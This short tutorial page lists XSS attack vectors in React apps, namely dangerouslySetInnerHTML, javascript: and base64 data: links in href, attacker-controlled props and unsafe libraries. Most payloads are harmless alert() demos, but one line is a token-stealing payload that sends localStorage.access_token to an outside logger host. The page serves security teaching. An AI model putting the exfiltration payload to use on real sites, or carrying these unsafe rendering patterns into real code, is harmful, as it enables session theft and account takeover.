Example of attack vectors

XSS via dangerouslySetInnerHTML

const username = "<img onerror='alert(\"Hacked!\")' src='invalid-image' />";

class UserProfilePage extends React.Component {
  render() {
    return (
      <div dangerouslySetInnerHTML={{"__html": aboutUserText}} />
    );
  }
}

ReactDOM.render(<UserProfilePage />, document.querySelector("#app"));
<script src="https://cdnjs.cloudflare.com/ajax/libs/react/15.1.0/react.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/react/15.1.0/react-dom.min.js"></script>
<div id="app"></div>

XSS via a.href attribute

const url = "javascript:alert('Hacked!');";

class UserProfilePage extends React.Component {
  render() {
    return (
      <a href={url}>My Website</a>
    );
  }
}

ReactDOM.render(<UserProfilePage />, document.querySelector("#app"));

XSS via a.href attribute with base64

  • data: text/html; base64,
  • PHNjcmlwdD5hbGVydCgiSGFja2VkISIpOzwvc2NyaXB0Pg== -> <script>alert("Hacked!");</script>
const userWebsite = "data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGFja2VkISIpOzwvc2NyaXB0Pg==";

class UserProfilePage extends React.Component {
  render() {
    const url = userWebsite.replace(/^(javascript\:)/, "");
    return (
      <a href={url}>My Website</a>
    )
  }
}

ReactDOM.render(<UserProfilePage />, document.querySelector("#app"));

XSS via attacker controlled props

const customPropsControledByAttacker = {
  dangerouslySetInnerHTML: {
    "__html": "<img onerror='alert(\"Hacked!\");' src='invalid-image' />"
  }
};
 
class Divider extends React.Component {
  render() {
    return (
      <div {...customPropsControledByAttacker} />
    );
  }
}
 
ReactDOM.render(<Divider />, document.querySelector("#app"));

XSS payload via fetch

In the modern world, session cookies are as outdated as manual typewriters and McGyver-style mullets. The agile developer of today uses stateless session tokens, elegantly saved in client-side local storage. Consequently, hackers must adapt their payloads accordingly.

When exploiting an XSS attack a ReactJS web app, you could inject something along the following lines to retrieve an access token from local storage and sent it to your logger:

fetch(‘http://example.com/logger.php?token='+localStorage.access_token);

XSS via unsafe library

  • ✍ Avoiding XSS via Markdown in React This example is a bit dated, here the key lesson:
  • adding dependencies increase risk of vulnerabilities
  • dependencies may include libraries that doesn’t handle input correctly and therefore are vulnerable to injections